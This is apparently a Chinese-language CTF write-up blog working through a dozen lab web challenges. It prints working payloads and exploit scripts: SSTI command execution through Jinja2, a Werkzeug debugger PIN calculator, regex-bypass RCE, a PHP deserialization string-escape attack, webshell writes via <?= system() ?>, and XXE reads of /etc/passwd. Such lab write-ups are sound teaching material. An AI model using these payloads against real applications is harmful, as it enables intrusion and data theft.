1 _SESSION['flagflag' ]=";s:3:" aaa";s:3:" img";s:20:" L2QwZzNfZmxsbGxsbGFn";}
[强网杯 2019]高明的黑客
查看/www.tar.gz,下载到网页源码
解压缩后的文件里有很多php文件,随便点一个查看
这是代码中的一部分,像是可以利用的
利用一个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 import os import re import time import threading import requestsfrom tqdm import tqdm thread_ = threading.Semaphore (30 ) requests.adapters.DEFAULT_RETRIES = 5 session = requests.Session () session.keep_alive = False buu_url = "http://e8e8fd89-4662-41f3-8e06-47a39e6d8155.node5.buuoj.cn:81/" filePath = r"D:\ctf_file\src" os.chdir (filePath) files = os.listdir (filePath) flags = [] rrGET = re.compile (r"\$_GET\[\'(\w+)\'\]" ) rrPOST = re.compile (r"\$_POST\[\'(\w+)\'\]" ) def getflag (file): print ("[+]checking file:%s" % (file)) thread_.acquire () url = buu_url + "/" + file with open (file, encoding='utf-8' ) as f: gets = list (rrGET.findall (f.read ())) posts = list (rrPOST.findall (f.read ())) for g in gets: print ("[++]checking %s" % (g)) time.sleep (0.02 ) res = session.get (url + "?%s=%s" % (g, "echo ------" )) if "------" in res.text: flag = "fileName=%s, param=%s" % (file, g) flags.append (flag) for p in posts: print ("[++]checking %s" % (p)) res = session.post (url, data={p :"echo ------" }) if "------" in res.text: flag = "fileName=%s, param=%s" % (file, g) flags.append (flag) thread_.release ()if __name__ == '__main__' : start_time = time.time () thread_list = [] for file in tqdm (files): t = threading.Thread (target=getflag, args=(file,)) thread_list.append (t) for t in thread_list: t.start () for t in thread_list: t.join () print (flags) end_time = time.time () print ("[end]程序结束:用时(秒):" +str (end_time-start_time))
[GWCTF 2019]我有一个数据库
这里看到什么都没有,就想到爬虫看一下
有一个phpinfo.php,查看一下,发现也没有什么,因为是BUU不太好扫目录,就看了wp说还有一个/phpmyadmin目录,访问发现是一个数据库的页面
就去网上找关于这个的漏洞
https://blog.csdn.net/m0_64481831/article/details/139232853
发现了本地文件包含漏洞(CVE-2018-12613),尝试给出的POC
发现可以实现
[FBCTF2019]RCEService
考点:json格式,代码审计,rce绕过,正则回溯绕过
根据提示用json格式写一个命令
payload
能看到存在index.php问件,但是怎么样都读不到,就去看了别人的wp说是比赛时题目本身给了附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } }?>
发现正则匹配中过滤了很多东西,看到正则表达式中采用了/^.*格式,可以考虑正则回溯绕过,通过不断增加回溯次数,进行逃逸绕过匹配,但是这种逃逸一般需要post传参方式,因为这里的参数是$_REQUEST['cmd']方式,get和post都能使用
1 2 3 4 5 6 import requests url = "http://d465fd76-d5a3-4e38-841b-24f3e5b4b294.node5.buuoj.cn:81/" payload = '{"cmd":"ls /","a":"' +'a' *1000000 +'"}' res = requests.post("http://d465fd76-d5a3-4e38-841b-24f3e5b4b294.node5.buuoj.cn:81/" ,data = {"cmd" :payload})print (res.text)
在payload后加上100万个字符即可,等匹配超过这个次数时语句自然就可以逃逸,但是注意这里字符数不能过多,否则会返回413请求过多导致无法执行rce
这里没有发现flag文件,尝试读取环境变量
也没有flag,就想到用find/ -name flag的命令查找flag
的位置,但发现find命令不能用
1 putenv ('PATH=/home/rceservice/jail' );
就注意到这行代码,它是用来设置环境变量PATH的值为/home/rceservice/jail,意味着我们无法直接调用find和cat命令/home/rceservice/jail,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令需要使用其存放的绝对路径去调用
可以在自己的Linux系统里面输出查找一下find命令在哪
重新构造payload
1 payload = '{"cmd":"/usr/bin/find / -name flag", "abc":"' +'a' *1000000 +'"}'
得到了flag的路径
同样的道理再查看cat命令
payload
1 payload = '{"cmd":"/bin/cat /home/rceservice/flag", "abc":"' +'a' *1000000 +'"}'
这道题也可以利用%0a来绕过
正则表达式是 ^…$ 格式 如果没有修饰符m 那么^只会匹配第一行的内容,可以利用%0a换行符绕过
而且这里还用了.* 贪婪匹配 也没有修饰符s 所以 .* 也不会匹配换行符%0a
那么只需传入换行符%0a,那么就可以绕过 .* 从而绕过正则匹配
payload
1 ?cmd={%0 a"cmd" :"/bin/cat /home/rceservice/flag" %0 a}
此时.* 匹配 { 而\x00-\x1F 匹配了第一个%0a 但是最后的 .* 不能匹配换行符,因此也匹配不到换行后的 } 所以不能匹配到完整字符串,返回值为空,完成正则绕过
其他构造方式
1 %0 a{"cmd" :"/bin/cat /home/rceservice/flag" }
此时第一个.* 匹配的不是空null, 是空字符串””,因为*可以匹配0次或多次, \x00-\x1F 匹配了%0a 最后的.*匹配到字符串结束 从而也会匹配成功
1 2 3 ?cmd=%0 a{%0 a"cmd" :"/bin/cat /home/rceservice/flag" } ?cmd=%0 a{"cmd" :"/bin/cat /home/rceservice/flag" %0 a} ?cmd=%0 a{"cmd" :"/bin/cat /home/rceservice/flag" }%0 a%0 a
[Zer0pts2020]Can you guess it?
考点:代码审计,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }$secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } }
源码中可以知道flag就在config.php中,注意到hash_equals($secret, $guess),发现这个的绕过是行不通的,该函数并没有漏洞也没有使用错误
注意到这串代码区别于其他常见的php代码没有使用简洁的__FILE__而是采用basename函数截取$_SERVER['PHP_SELF'],所以这里才是本题的利用点
1 2 3 4 5 6 7 8 if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }
$_SERVER['PHP_SELF']会获取到当前的访问路径,并且PHP在解析URL时会忽略掉多余的额部分,例如要访问存在的index.php路径,则以下两种路径均能访问到
1 2 /index .php /index .php/dosent_exist.php #即忽略掉了后面这个不存在的部分
basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录
1 2 3 4 $var1 ="/config.php/test" basename ($var1 ) => test$var2 ="/config.php/%ff" basename ($var2 ) => config.php
所以只要通过构造payload使得basename截取到/config.php即可
payload
1 /index.php/config.php/%ff?source
利用$_SERVER['PHP_SELF']获取当前访问路径,再通过basename进行截取
[watevrCTF-2019]Cookie Store
看到是这个购买页面,尝试抓包
看到cookie值中有money的信息尝试修改
发现其实可以直接用浏览器中的插件执行
然后进行购买,但发现点那个购买键买不了,看了看源码
是要再/buy路径下
[0CTF 2016]piapiapia
考点:源码泄露,代码审计,反序列化,吞字符绕过
发现时源码泄露,访问/www.zip
发现有注册界面,注册后就能登录但得满足username和password的长度都大于3小于16
config.php
1 2 3 4 5 6 7 <?php $config ['hostname' ] = '127.0.0.1' ; $config ['username' ] = 'root' ; $config ['password' ] = '' ; $config ['database' ] = '' ; $flag = '' ;?>
发现flag在config.php文件中,所以我们要尝试读取config.php
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } $username = $_SESSION ['username' ]; $profile =$user ->show_profile ($username ); if ($profile == null ) { header ('Location: update.php' ); } else { $profile = unserialize ($profile ); $phone = $profile ['phone' ]; $email = $profile ['email' ]; $nickname = $profile ['nickname' ]; $photo = base64_encode (file_get_contents ($profile ['photo' ]));?>
在这里发现了任意文件读取的漏洞
同时这里对nickname进行了两次过滤
在update.php中注意到nickname需要是数组
1 2 if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' );
对nickname进行关键字过滤
1 2 3 4 5 6 7 8 9 public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }
这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function filter ($string ) { $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }$a =array ('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}' );$profile ['phone' ]='12345678901' ;$profile ['email' ]='1@qq.com' ;$profile ['nickname' ]=$a ;$profile ['photo' ]='upload/A7C3CE076585477741D951D179AB07DC' ;var_dump (filter (serialize ($profile )));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /update.php HTTP/1.1 Host : fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81Content-Length : 98801Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryYm2D6aMEAva3GaAhUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://fba7b643-bf99-4632-b746-cb2f7f46f011.node5.buuoj.cn:81/update.phpAccept-Encoding : gzip, deflate, brCookie : PHPSESSID=d42bc177cedab628276fcf573c99d532Connection : keep-aliveContent-Disposition: form-data; name ="phone" 12345678901 Content-Disposition: form-data; name ="email" 1 @qq.comContent-Disposition: form-data; name ="nickname[]" wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundaryYm2D6aMEAva3GaAh Content-Disposition: form-data; name="photo"; filename="1. jpg" Content-Type: image/jpeg ÿØÿà
重新构造payload上传,然后放行
但是好像有点问题
[GYCTF2020]FlaskApp
考点:pin码,SSTI
传参e3s3Kzd9fQ==,解码后得到的结果发现是存在SSTI,用的模板是jinjia2
在hint提示的源码中可以看到有PIN,所以考察的可能是pin码
在解密栏任意输入看到可以触发debug模式
读取/etc/passwd
payload(需对其进行base64加密)
1 {{ url_for.__globals__.__builtins__.open ('/etc/passwd' ).read() }}
读取到系统用户名username为flaskweb
appname:应用名称(固定为Flask)
modename:模块名称(固定为flask.app)
应用文件路径moddir(从系统报错信息中获取)
uuid:MAC地址(读取到的值需要去掉斜杠转成十进制)
读取路径
1 /sys/class/net/eth0/address
转成十进制
1 2 3 mac = "3e:c7:a1:da:8a:d1" print (int (mac.replace(':' , '' ), 16 ))
machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)
这里读取路径
1 2 /etc/machine-id 1408f836b0ca514d796cbf8960e45fa1
用脚本算一下pin码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibfrom itertools import chain probably_public_bits = [ 'flaskweb' 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '69027134868177' , '1408f836b0ca514d796cbf8960e45fa1' ] h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = numprint (rv)
然后访问一下/console,输入计算得到的pin码
然后就可以执行SSTI了
[CSCCTF 2019 Qual]FlaskLight
考点:SSTI(无os模块)
查看源码看到是get传参,也给了参数名
测试一下
payload
是SSTI,jinjia2
payload
1 ?search= {{[].__class__.__base__.__subclasses__ ()}}
但是找了一遍发现没有os模块
通过查询可知,可以借助类<class’warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令
最终payload
1 ?search= {{[].__class__.__base__.__subclasses__ ()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()" )}}
[SUCTF 2019]Pythonginx
考点:代码审计,SSRF
[RoarCTF 2019]Easy Java
考点:JAVA,源码泄露
登录界面,点击help查看
发现了Download路由
payload
1 /Download ?filename={help .docx}
但发现什么都没有
就想到尝试用POST传参
下载了一个docx文件
文件里面是一行英文,不知道有什么用
因为下载页是java这里考察了java web相关的内容,然后就尝试读取存有web信息的xml文件
payload
1 filename =/ WEB-INF/web.xml
这里得到了flag路由
因为还没有学过java就先贴一下网上师傅总结的一些吧
1 2 3 4 5 6 7 WEB-INF 主要包含一下文件或目录: /WEB-INF /web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF /classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class ,他们不能包含在 .jar文件中 /WEB-INF /lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF /src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF /database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class 文件的路径,最后直接class 文件,在通过反编译class 文件,得到网站源码
上面首先读取到的是初始化配置信息/WEB-INF/web.xml
其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西
下载得到文件用记事本方式打开
得到flag的base64编码解密得到flag
[NPUCTF2020]ReadlezPHP
考点:php反序列化
打开这个吓我一跳,啥也没有就看看源码
找到了一个路径访问一下看到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } }$c = new HelloPhp ;if (isset ($_GET ['source' ])) { highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);2026 -03 -10 10 :56 :48
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "5" ; $this ->b = "phpinfo" ; } }$c = new HelloPhp ;echo serialize ($c )
看了一下配置文件发现很多函数都被ban了,但发现assert能用
尝试用assert代替system执行rce
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "system('ls /');" ; $this ->b = "assert" ; } }$c = new HelloPhp ;echo serialize ($c );
发现还是只能显示时间,不知道为什么
那就只能看看phpinfo能不能直接有flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "phpinfo()" ; $this ->b = "assert" ; } }$c = new HelloPhp ;echo serialize ($c );
这里得到flag
[b01lers2020]Welcome to Earth
考点:源码泄露,JS分析。感觉这道题就是一直一直一直看源码访问路径,到最后也就给了个乱序的flag,用一个脚本排列组合一下,没什么考察点
刚开始点进去就跳转了这个页面,看了这个页面的源码什么都没有,就试着把/die去掉访问并查看源码
存在两个地址,尝试访问第一个/chase,但发现很快就会跳转到/die,尝试抓包
看到了/leftt路径,访问一下,不知道是什么,就看源码
提示访问/shoot,看到源码继续访问/door
看源码,继续访问/static/js/door.js
看到有一个/open路由
发现居然还有可以访问的/static/js/open_sesame.js
又看到了/fight继续访问
是一个输入框再看一下源码,访问一下他的js文件,看到了被打乱的flag,然后用一个脚本还原一下flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function scramble (flag, key ) { for (var i = 0 ; i < key.length ; i++) { let n = key.charCodeAt (i) % flag.length ; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; }function check_action ( ) { var action = document .getElementById ("action" ).value ; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
脚本
1 2 3 4 5 6 7 8 9 from itertools import permutations flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag)for i in item: k = '' .join(list (i)) if k.startswith('pctf{hey_boys' ) and k[-1 ] == '}' : print (k)
然后就一个个尝试一下发现是第三个
[红明谷CTF 2021]write_shell
考点:rce,waf绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } }function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } }$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); }?>
代码允许将data内容写入index.php,感觉类似于一个文件上传,然后有很多waf比如空格什么的,绕过这些waf,利用data进行rce
可以知道action传参为pwd输出的是$dir
1 $ dir = 'sandbox/' . md5($_SERVER ['REMOTE_ADDR' ]) . '/' ;
payload
看到了之后访问index.php的完整路径
1 sandbox/1e833 b2 b9e905399 ad5 c 0640 a03817 c 1 /index.php
然后就要利用/upload路径,在index.php中写入内容进行rce
利用<?=标签进行绕过,%09绕过空格
payload
1 ?a ction=upload&data=<?= system("ls%09/" )?>
1 ?a ction=upload&data=<?= system("cat%09/flllllll1112222222lag" )?>
[WUSTCTF2020]CV Maker
考点:文件上传,幻术头绕过
点开题目找到注册登录的界面,注意这里好像所有注册内容都至少两个字符
登录进去后有一个上传头像的页面就想到了文件上传
利用幻术头绕过
然后蚁剑连接,得到flag
[RootersCTF2019]I_<3_Flask
考点:参数爆破,SSTI
打开就一个这个界面,题目又提示flask就猜测是SSTI但一直没找到利用点,就看了wp,看到要用一个工具Argun 爆破http参数的
命令
1 arjun -u http://4 e92c7d0-3 a79-4 f94-a24f-a424f15c33a5.node5.buuoj.cn:81 /
爆出来是name,然后就测试一下
发现存在SSTI,是jinjia2的模板,就偷个懒用焚靖一把梭了
[网鼎杯 2020 白虎组]PicDown
考点:文件读取,flask框架
开始是一个输入框,尝试文件读取
payload
下载了一个图片但点开又看不了图片,就想到用记事本打开看看
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)@app.route('/' ) def index (): return render_template('search.html' )@app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value)@app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return resif __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
尝试读取key
payload
1 /page?url=/ proc/self/ fd/3
/proc/self/fd/3表示当前进程的 FD=3 对应的文件或资源路径
记事本打开读取到密钥
1 Vu5Sn3waJe9kzH7MbmTW5+jm6UEXwS2D015f7w2dTio=
然后这里就需要进行反弹shell
但是一直有点问题,看了几个wp还是不行
[NCTF2019]True XML cookbook 登陆界面抓包,发现传参处存在xxe
payload
1 <!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd" > ]> <user > <username > &ben; </username > <password > 123</password > </user >
能读,再尝试读一下/proc/net/fib_trie
payload
1 <!DOCTYPE root [<!ENTITY ben SYSTEM "file:////proc/net/fib_trie" > ]> <user > <username > &ben; </username > <password > 123</password > </user >
[CISCN2019 华北赛区 Day1 Web2]ikun
考点:pickle反序列化
利用脚本找到lv6在第几页
1 2 3 4 5 6 7 8 9 10 import requests url = 'http://7cac9626-c9d0-4f94-8e4f-3de3cf329045.node5.buuoj.cn:81/shop?page=' for i in range (0 ,2000 ): urls = url + str (i) rs = requests.get(urls) print ("\r" , end="" ) print ('已检测到' + str (i) + '页' , end='' ) if 'lv6.png' in rs.text: print ('\nlv6在第' +str (i)+'页' ) break
这里爆出在181页
在这里抓包
修改折扣就能购买成功